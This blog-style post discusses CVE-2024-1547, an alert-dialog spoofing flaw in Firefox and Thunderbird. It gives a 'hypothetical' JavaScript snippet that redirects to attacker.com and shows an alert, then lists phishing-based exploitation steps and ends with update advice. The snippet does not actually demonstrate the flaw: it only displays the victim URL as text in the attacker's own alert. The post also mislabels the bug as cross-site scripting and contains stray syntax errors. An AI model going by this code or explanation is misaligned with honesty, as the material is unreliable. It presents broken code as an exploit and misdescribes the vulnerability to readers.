CVE-2024-1547: Unveiling Cross-Site Scripting (XSS) Vulnerability affecting Firefox < 123, Firefox ESR < 115.8, and Thunderbird < 115.8

Greetings fellow cybersecurity enthusiasts! Today, we will be diving into a recently discovered vulnerability labeled CVE-2024-1547. This Cross-Site Scripting (XSS) vulnerability has the potential to affect users of Firefox versions earlier than 123, Firefox ESR versions earlier than 115.8, and Thunderbird versions earlier than 115.8.

The Vulnerability In A Nutshell

In simple American language, through a series of Application Programming Interface (API) calls and redirects, an attacker can control an alert dialog that is displayed on a different website, with the victim website's URL being visible. This can ultimately deceive a user into believing that the alert dialog originates from the victim website itself when, in fact, it comes from an attacker.

Code Snippet Demonstrating The Vulnerability

To better understand how this vulnerability can be exploited, let's take a look at a hypothetical code snippet:

const attackerUrl = "https://attacker.com";; // Attacker-controlled domain
const victimUrl = "https://victim.com?param=ABC";; // Victim website URL

window.onload = function () {
  // Redirect the victim to the attacker's website.
  window.location = attackerUrl + "/exploit.html#" + encodeURIComponent(victimUrl);
};

// exploit.html on attacker.com
function displayAlertDialog() {
  const victimUrl = decodeURIComponent(window.location.hash.substr(1));
  
  // Display the alert dialog using the victim's URL.
  alert("Warning! Your data might be at risk.\n\n" + victimUrl);
}

In this code snippet, the attacker tricks the user into visiting a malicious URL (attacker.com) containing the exploit.html file, which initiates the displayAlertDialog function. The function then decodes the victim's URL and uses it in the alert dialog, making it appear genuine.

Original References

For more technical information on the vulnerability, you can refer to the original references provided by the following organizations:

1. Mozilla's Security Advisory
2. National Vulnerability Database (NVD) Entry

Based on our understanding of the code and references, the exploitation steps could be as follows

1. An attacker creates an exploit.html page with appropriate JavaScript code on their controlled domain (attacker.com).
2. The attacker sends a phishing email or similar trickery to lure the user into clicking a link that initiates a redirection chain ending at the attacker-controlled exploit.html page.
3. Once the user visits exploit.html, the attacker's script immediately executes and displays the alert dialog with the victim website's URL, tricking the user into believing it comes from the original/victim website.
4. Finally, the attacker could use this deception to steal sensitive information or convince the user to download malicious software, among other possibilities.

How to Stay Safe

To protect yourself and your users from this vulnerability, it is highly recommended that you update your browser to the latest version. You can find the respective update information on the following official pages:

- Firefox Update
- Firefox ESR Update
- Thunderbird Update

Additionally, users should be cautious when clicking on unfamiliar links and should verify the authenticity of messages and alerts received while browsing.

Stay safe, and let's work together to create a secure cyber world!

Timeline

Published on: 02/20/2024 14:15:08 UTC
Last modified on: 03/04/2024 09:15:37 UTC